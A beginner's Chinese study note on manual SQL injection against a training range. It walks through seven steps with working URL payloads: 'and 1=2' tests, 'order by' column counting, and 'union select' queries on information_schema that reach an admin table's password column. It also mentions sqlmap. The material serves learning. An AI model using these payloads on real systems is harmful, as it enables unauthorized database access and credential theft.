提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
前言: sql注入的基本原理和自学总结
今天是自学网安第三天, 决定总结一下目前所学, 遂记录, 以备自己查看.
作为新人, 文章不严谨处欢迎指出!
一、sql注入的基本逻辑
sql注入是在存在sql注入漏洞的注入点, 在正常进行数据库的地方加入自己需要的sql指令, 进行数据库查询的操作.
sql注入之所以可以成功, 是因为用户自己也可以查询到数据库, 在进行数据库查询的地方插入自己的指令, 骗服务器查询对应的数据
二、sql注入的基本步骤
///手动注入:
分7步:
- 判断可否注入
- 判断字段数
- 判断显错位
- 判断库名
- 判断表名
- 判断字段(列)名
- 查具体数据
1.判断可否注入
一般来说, 进行数据库查询的地方都会带一个"?", 形似
https://www.wuzhuiso.com/s?q=evasion&src=srp&fr=extension_chrome&a=www
其中存在4个可能的注入点, 分别是
q=evasion
src=srp
fr=extension_chrome
a=www
为了方便, 以下使用封神台靶场进行演示
这里的id=1就是可能的注入点
我们可以通过经典的and 1=1判断是否可以注入
另外也可以用别的比如sleep(), 只要能发现自己的指令被执行就行
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=1 #1当然=1, 所以页面正常
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 #1不=2, 页面显示异常, 证明and 1=2是可以被服务器执行的, 存在sql注入漏洞
值得注意的是, 有些网站会用引号把请求括起来, 导致指令无法执行, 可以自己使用引号让源码里面的引号闭合
http://pu2lh35s.ia.aqlab.cn/?id=1' and 1=1 #假设这里服务器执行的是select * from maoshe where 'id=1' and 1=1', 我们的指令被括出去了
若被waf防火墙拦截, 可以考虑对指令特殊处理.
2.判断字段数
可以使用order by排序命令判断
http://pu2lh35s.ia.aqlab.cn/?id=1 order by 1 #按第一个字段排序
#...省略
http://pu2lh35s.ia.aqlab.cn/?id=1 order by 3 #因为只有两个字段, 页面异常, 得知字段数=2
因为没有字段3, 所以服务器找不到对应数据.
3.判断显错位
一般使用联合查询union select, 即把两张段的数据拼接在一起显示
http://pu2lh35s.ia.aqlab.cn/?id=1 union select 1,2 #因为之前判断字段数只有2, 所以联合的只能有1,2 不然报错
因为联合查询优先显示前面的, 所以后面要求查询的可能被挤出去, 可以把id=1改成无法显示的, 比如id=100, 或者and 1=2, 也可以用limit x,y (x=下标, y=数量)
这里2显示出来了, 证明"2"处是一个回显点
4.判断库名
既然"2"处可以显示查询内容, 那么可以替换2为database()查询库名
http://pu2lh35s.ia.aqlab.cn/?id=1 union select 1,database()
得知当前库名为maoshe
5.判断表名
查表就不能这么简单粗暴了, 需要去到系统自带库information_schema查询tables表里面的table_name字段
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' #在库information_schema中的tables表中查询table_schema为maoshe的table_name
得知该表为admin
6.查询具体数据
知道了库名和表名, 还需要知道自己要查的字段, 就可以查需要的数据了.
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit x,1 #x从0开始往后查, 你能看出这段的意义吗?
于是, 我们得知我们要查的是maoshe库下的admin表里的password字段
#请你自己写一个尝试吧!
----
///使用工具注入
常用sqlmap.
sqlmap可以自动检测给定url(-u)或者数据包(-r)(可以用burp抓包)里面的sql漏洞并且利用它们把数据–dump出来, 但是要小心别把自己–dump进监狱.
这里不加介绍, 可以上网查, 有详细手册, 也可以help
备注
这里举例显错注入, 还有其他的注入方式.
查漏洞不用查出具体数据, 证明有这个漏洞就能提交